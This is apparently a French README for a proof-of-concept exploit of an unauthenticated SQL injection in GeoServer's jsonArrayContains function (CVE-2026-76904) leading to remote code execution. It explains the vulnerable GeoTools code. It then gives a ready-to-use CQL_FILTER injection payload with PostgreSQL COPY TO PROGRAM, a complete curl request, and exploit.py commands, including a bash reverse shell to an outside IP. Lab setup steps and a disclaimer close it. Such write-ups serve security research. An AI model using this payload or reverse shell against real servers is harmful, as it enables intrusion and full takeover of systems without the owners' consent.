
POC | GeoServer Injection SQL non authentifiée menant à une RCE complète
CVE : CVE-2026-76904 | CVSS : 9.8 (Critique)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Cette vulnérabilité a été désignée GHSA-mqjf-5f49-2fjh par l'équipe GeoServer/GeoTools et est activement exploitée dans la nature depuis août 2026.
La vulnérabilité a été corrigée, mais comme elle est très récente (1786870173), elle est encore massivement exploitée sur le web.
21 août 2026 - Réception d'un identifiant CVE : CVE-2026-76904
Injection SQL non authentifiée dans la fonction jsonArrayContains de GeoServer
-> Exécution de code à distance via PostgreSQL COPY TO PROGRAM.
La fonction jsonArrayContains de GeoServer (plus précisément de GeoTools), utilisée pour interroger les tableaux JSON dans PostgreSQL, contient une vulnérabilité critique d'injection SQL. Le troisième paramètre (expected) est directement concaténé dans la requête SQL sans aucun assainissement, échappement ni liaison de paramètres.
Concrètement, ceci :
jsonb_path_exists("column"::jsonb, '$ ? (@.key == "<USER_INPUT>")')
La vulnérabilité provient de la méthode FilterToSqlHelper.constructEquality de GeoTools.
Le troisième paramètre (expected) de la fonction jsonArrayContains est directement écrit dans la chaîne SQL à l'aide de String.formatted(), sans aucun échappement.
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);
Ce défaut n'est pas un nouveau bug : il s'agit d'une régression de la CVE-2023-25158 (une vulnérabilité d'injection SQL identique, CVSS 9.8)
La nouvelle vulnérabilité a été introduite lorsque GEOT-7589 a ajouté la prise en charge de jsonb_path_exists pour PostgreSQL 12+.
Le correctif de 2023 ne protégeait pas la fonction jsonArrayContains, qui a été ajoutée/modifiée après cette remédiation.
Essentiellement ceci :
jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true
Décomposition du payload :
| Composant | Rôle |
|---|---|
jsonArrayContains(data,'/x','y")\'') | Appelle la fonction avec un troisième paramètre forgé |
OR 1=1)) | Ferme le chemin JSON et l'appel de fonction |
AS gt_injected; | Crée un alias pour la table dérivée |
COPY (SELECT 1) TO PROGRAM 'COMMAND' | Commande RCE PostgreSQL |
--')=true | Commente le reste du SQL |
curl manuel
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
--data-urlencode "service=WFS" \
--data-urlencode "version=2.0.0" \
--data-urlencode "request=GetFeature" \
--data-urlencode "typeNames=topp:test_json" \
--data-urlencode "outputFormat=application/json" \
--data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"
La technique de fermeture WFS 2.0 est adaptée des recherches de mhtsec
Personne ne veut lancer curl, n'est-ce pas ? Voici l'utilisation d'exploit.py
PoC de création de fichier
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "echo what\'s up BrOoOoO00????? > /tmp/yonliud.txt" \
--show-payload
PoC RCE
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "bash -c 'bash -i >& /dev/tcp/172.26.242.223/4444 0>&1'" \
--show-payload
Un docker-compose.yml est fourni pour démarrer rapidement avec le PoC.
Après initialisation avec
Docker compose up -d
nous pouvons configurer l'environnement à l'aide de l'API REST mise à notre disposition
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<dataStore>
<name>test_json_store</name>
<connectionParameters>
<entry key="host">db</entry>
<entry key="port">5432</entry>
<entry key="database">geoserver_data</entry>
<entry key="user">geoserver</entry>
<entry key="passwd">geoserver</entry>
<entry key="dbtype">postgis</entry>
</connectionParameters>
</dataStore>'
Publier la couche
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<featureType>
<name>test_json</name>
<nativeName>test_json</nativeName>
<title>Test JSON Layer</title>
<srs>EPSG:4326</srs>
</featureType>'
Ce dépôt contient une preuve de concept indépendante pour l'exploitation de la vulnérabilité zero-day d'injection SQL vers RCE ;jsonArrayContains; de GeoServer. Cette vulnérabilité a été initialement découverte et divulguée par 秋风 (@q1uf3ng). La chaîne d'exploitation a été recréée et validée dans un environnement de laboratoire contrôlé.
Ce projet est destiné uniquement à la recherche en sécurité autorisée, à l'éducation et aux tests dans des environnements de laboratoire isolés.
N'utilisez pas ce logiciel contre des systèmes, des réseaux ou des données sans autorisation explicite du propriétaire. Vous êtes seul responsable du respect de toutes les lois applicables et de toute conséquence découlant de votre utilisation de ce projet.
L'auteur, YonLiud, fournit ce projet « tel quel », sans garanties d'aucune sorte, et décline toute responsabilité en cas de dommages, perte de données, interruption de service, accès non autorisé ou autre mauvaise utilisation causée par ce logiciel ou ses travaux dérivés.
En utilisant ce projet, vous reconnaissez et acceptez ces conditions.